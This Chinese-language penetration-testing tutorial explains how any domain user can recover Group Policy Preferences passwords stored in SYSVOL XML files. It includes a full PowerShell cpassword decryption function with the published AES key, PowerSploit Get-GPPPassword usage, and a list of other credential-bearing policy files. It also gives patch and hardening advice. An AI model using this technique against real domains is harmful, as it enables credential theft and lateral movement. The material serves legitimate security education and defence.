域渗透——利用SYSVOL还原组策略中保存的密码
0x00 概述
本文详细介绍了如何利用Windows域环境中的SYSVOL共享文件夹还原组策略中保存的密码。当域管理员使用组策略批量管理域内主机时,可能会将密码以加密形式存储在SYSVOL共享中,这些密码可以被任何域用户访问并解密,造成严重的安全隐患。
0x01 SYSVOL共享介绍
SYSVOL是域控制器上的一个共享文件夹,路径为:\\<DOMAIN>\SYSVOL\<DOMAIN>\
特点:
- 所有域内主机都能访问
- 保存组策略相关数据
- 包含登录脚本、配置文件等
- 默认权限允许所有域用户读取
0x02 组策略密码管理方法
Server 2003系统
管理员通常通过配置组策略执行VBS脚本来批量修改密码:
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
安全问题:
- 密码明文保存在VBS脚本中
- 脚本通常存放在SYSVOL共享
- 任何域用户都能读取明文密码
Server 2008及更新系统
使用Group Policy Preferences配置组策略批量修改密码:
- 创建GPO(组策略对象)
- 在"用户配置"→"首选项"→"控制面板设置"→"本地用户和组"中设置
- 更新Administrator账户密码
- 设置策略权限
配置完成后,会在SYSVOL中生成XML配置文件,路径示例:
\\test.local\SYSVOL\test.local\Policies\{GPO_ID}\User\Preferences\Groups\Groups.xml
0x03 密码加密与解密
加密机制
密码以cpassword属性存储在XML文件中,使用AES-256加密,例如:
<cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"/>
解密方法
微软公开了AES加密私钥,可以使用PowerShell解密:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
# 处理Base64字符串
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ("=" * (4 - $Mod))}
'3' {$Cpassword += ("=" * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
# 创建AES解密对象
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"
自动化工具
可使用PowerSploit中的Get-GPPPassword.ps1脚本自动扫描SYSVOL并解密所有密码:
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
0x04 其他可被利用的组策略位置
除了Groups.xml外,以下配置文件也可能包含cpassword:
- Services\Services.xml
- ScheduledTasks\ScheduledTasks.xml
- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
注意:只有配置时需要输入密码的位置才会包含cpassword属性。
0x05 微软补丁KB2962486
微软发布了补丁KB2962486(MS14-025)修复此问题:
- 安装后,组策略中无法设置用户名密码
- XML文件中不再包含cpassword属性
- 但XML文件仍会与组策略保持同步
0x06 防御建议
-
使用LAPS(Local Administrator Password Solution):
- 确保每台域内主机有不同的本地管理员密码
- 密码定期自动更换
-
安装补丁KB2962486:
- 防止在组策略中存储密码
-
避免在组策略中使用域控密码:
- 特别是域管理员账户密码
-
限制SYSVOL访问权限:
- 设置适当的共享权限和NTFS权限
-
使用PsPasswd工具:
- 作为替代方案批量修改密码
-
定期审计:
- 检查SYSVOL中是否包含敏感信息
- 监控对SYSVOL的异常访问
0x07 总结
通过SYSVOL共享还原组策略密码是一种有效的域渗透技术,利用的是组策略密码管理中的设计缺陷。防御的关键在于采用更安全的密码管理方案(如LAPS)、及时安装补丁,并严格控制共享文件夹的访问权限。